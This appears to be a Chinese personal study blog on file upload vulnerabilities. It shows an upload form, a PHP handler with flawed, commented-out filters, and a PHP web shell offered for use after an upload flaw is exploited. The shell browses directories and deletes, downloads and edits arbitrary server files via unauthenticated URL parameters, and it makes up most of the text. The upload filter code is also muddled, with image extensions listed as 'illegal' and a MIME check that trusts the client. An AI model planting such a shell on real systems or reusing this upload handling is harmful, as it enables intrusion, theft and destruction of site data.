今天学习文件上传的相关知识
上传的前端页面如下
upload.html
<!DOCTYPE html> <html lang="zh-CN"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>简单文件上传</title><style>body {font-family: Arial, sans-serif;max-width: 600px;margin: 0 auto;padding: 20px;}.upload-container {border: 2px dashed #ccc;padding: 20px;text-align: center;border-radius: 5px;}.upload-btn {background-color: #4CAF50;color: white;padding: 10px 20px;border: none;border-radius: 4px;cursor: pointer;font-size: 16px;margin-top: 15px;}.upload-btn:hover {background-color: #45a049;}.note {font-size: 14px;color: #666;margin-top: 10px;}</style> </head> <body> <h1>文件上传</h1> <form action="upload.php" method="post" enctype="multipart/form-data"><div class="upload-container"><h3>选择要上传的文件</h3><input type="file" name="file" id="file" required><p class="note">注意:实际文件上传需要服务器端处理脚本</p><button type="submit" class="upload-btn">上传文件</button></div> </form> </body> </html>![]()
配套的php文件如下:
upload.php
<?php$name = $_FILES['file']['name']; $type = $_FILES['file']['type']; $size = $_FILES['file']['size']; $temp_name = $_FILES['file']['tmp_name']; echo $type;$error = $_FILES['file']['error'];$black_ext = array('jpg', 'jpeg', 'gif', 'png');//添加非法文件类型 $fenge = explode(".", $name);//通过.分割文件形成数组 $exts = end($fenge);//拿到数组最后面的数据//黑名单过滤 //if (in_array($exts, $black_ext)) {//对后缀进行验证 // echo "非法文件'.$exts'";//失败 //}else{ // move_uploaded_file($temp_name, './'.$name);//保存在根目录下 // echo '<script>alert("上传成功");</script>'; //}//白名单过滤 //$allow_type = array('image/jpeg','video/mp4','image/png','image/gif'); //if(!in_array($type,$allow_type)){ // echo '非法后缀'; //}else{ // move_uploaded_file($temp_name,'.'.$name); // echo '<script>alert</script>'; //}?>
两个过滤模式
黑名单过滤
白名单过滤
html调用后可以上传文件
如果遇到上传漏洞 可以使用一下的简单代码拿到数据 例子如下
<?php$dir = $_GET['dir'] ?? './';function show_file($dir) {$d = opendir($dir);while(($file=readdir($d))!==false){if(is_dir($file)){echo '文件夹:'.$file."<br>";}else{echo '文件:'.$file."<br>";}} }show_file($dir);上传文件成功和 访问即可 这里修改了dir里面的参数
![]()
成功拿到目录信息
优化拿到目录(文件)后的操作
并且添加了删除 下载 修改功能
<?php // 获取操作类型(删除、下载、编辑) $action = isset($_GET['a']) ? $_GET['a'] : ''; // 获取路径参数,默认当前目录 $path = isset($_GET['path']) ? $_GET['path'] : './';// 路径处理:去除两端斜杠/反斜杠 $path = rtrim($path, '/\\');//判断是文件还是目录 if (is_file($path)) {$current_dir = dirname($path) . '/'; // 文件所在目录$file = basename($path); // 文件名 } else {$current_dir = $path . '/'; // 目录路径// 检查目录是否存在if (!is_dir($current_dir)) {die('sorry, the directory does not exist: ' . $current_dir);} }//拿到路径信息 function getlist($path) {$hd = opendir($path); // 打开目录句柄$list = ['dir' => [], 'file' => []]; // 初始化分类数组// 遍历目录内容while(($file_name = readdir($hd)) !== false) {// 跳过当前目录(.)和上级目录(..)if($file_name != "." && $file_name != "..") {$file_path = $path . $file_name; // 完整文件路径// 跳过不存在的文件if(!file_exists($file_path)) continue;$file_type = filetype($file_path); // 获取文件类型// 按类型分类存储文件信息$list[$file_type][] = array('file_name' => $file_name, // 文件名'file_path' => $file_path, // 完整路径'file_size' => is_file($file_path) ? round(filesize($file_path)/1024) : '-', // 文件大小(KB)'file_time' => date('Y/m/d', filemtime($file_path)), // 修改日期);}}closedir($hd); // 关闭目录句柄return $list; }// 获取当前目录内容列表 $list = getlist($current_dir);//执行对应操作 switch($action) {// 删除文件操作case 'del':if(isset($_GET['path'])) {$fileToDelete = $_GET['path'];// 验证文件存在且是普通文件if(file_exists($fileToDelete) && is_file($fileToDelete)) {// 执行删除if(unlink($fileToDelete)) {// 删除成功后返回父目录header("Location: ?path=" . dirname($fileToDelete));exit;} else {die('删除文件失败,可能是权限不足');}} else {die('文件不存在或不是普通文件');}} else {die('未指定要删除的文件路径');}break;// 文件下载操作case 'down':if (isset($_GET['path'])) {$file = $_GET['path'];// 验证文件存在且是普通文件if (file_exists($file) && is_file($file)) {// 设置下载头信息header('Content-Type: application/octet-stream'); // 二进制流header('Content-Disposition: attachment; filename="' . basename($file) . '"'); // 下载文件名header('Content-Length: ' . filesize($file)); // 文件大小readfile($file); // 输出文件内容exit;}}break;// 文件编辑操作case 'edit':if (isset($_GET['path'])) {$file = $_GET['path'];// 处理保存操作(POST请求)if ($_SERVER['REQUEST_METHOD'] === 'POST') {$content = $_POST['content'] ?? ''; // 获取编辑内容// 写入文件if (file_put_contents($file, $content) !== false) {// 保存成功返回目录header("Location: ?path=" . dirname($file));exit;} else {die('保存文件失败,可能是权限不足');}}// 显示编辑界面if (file_exists($file) && is_file($file) && is_readable($file)) {$content = htmlspecialchars(file_get_contents($file)); // 读取内容并转义$filename = basename($file); // 获取纯文件名// 输出编辑界面HTMLecho <<<HTML <!DOCTYPE html> <html lang="zh-CN"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>编辑文件 - {$filename}</title><style>body { font-family: Arial, sans-serif; margin: 20px; }h1 { margin-bottom: 20px; }textarea { width: 100%; height: 400px; font-family: monospace; }.actions { margin-top: 10px; }</style> </head> <body><h1>编辑文件: {$filename}</h1><form method="post"><textarea name="content">{$content}</textarea><div class="actions"><button type="submit">保存</button><a href="?path=" . dirname($file) . "">取消</a></div></form> </body> </html> HTML;exit;} else {die('文件不可编辑或不存在');}}break;// 默认情况:显示目录内容default:break; } ?><!DOCTYPE html> <html lang="zh-CN"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>设备类型图例</title><style>body {font-family: Arial, sans-serif;margin: 20px;}h1 {text-align: center;margin-bottom: 20px;}table {width: 100%;border-collapse: collapse;margin-top: 20px;}th, td {border: 1px solid #ddd;padding: 8px;text-align: left;}th {background-color: #f2f2f2;text-align: center;}img {vertical-align: middle;}</style> </head> <body> <h1>图例</h1> <table><thead><tr><th>图形</th><th>名称</th><th>日期</th><th>大小</th><th>路径</th><th>操作</th></tr></thead><tbody><?php foreach ($list['dir'] as $v): ?><tr><td><img src="./img/file.png" width="20" height="20"></td><td><?php echo htmlspecialchars($v['file_name']); ?></td><td><?php echo $v['file_time']; ?></td><td>-</td><td><?php echo htmlspecialchars($v['file_path']); ?></td><td><a href="?path=<?php echo urlencode($v['file_path']); ?>">打开</a></td></tr><?php endforeach; ?><?php foreach ($list['file'] as $v): ?><tr><td></td><td><?php echo htmlspecialchars($v['file_name']); ?></td><td><?php echo $v['file_time']; ?></td><td><?php echo $v['file_size']; ?></td><td><?php echo htmlspecialchars($v['file_path']); ?></td><td><a href="?a=edit&path=<?php echo urlencode($v['file_path']); ?>">编辑</a><a href="?a=down&path=<?php echo urlencode($v['file_path']); ?>">下载</a><a href="?a=del&path=<?php echo urlencode($v['file_path']); ?>" οnclick="return confirm('确定删除吗?')">删除</a></td></tr><?php endforeach; ?></tbody> </table> </body> </html>功能就不一一展示了![]()
功能都可以实现 但是全是安全问题
通过代码 知道了大致的文件上传的过程于一些基本的安全问题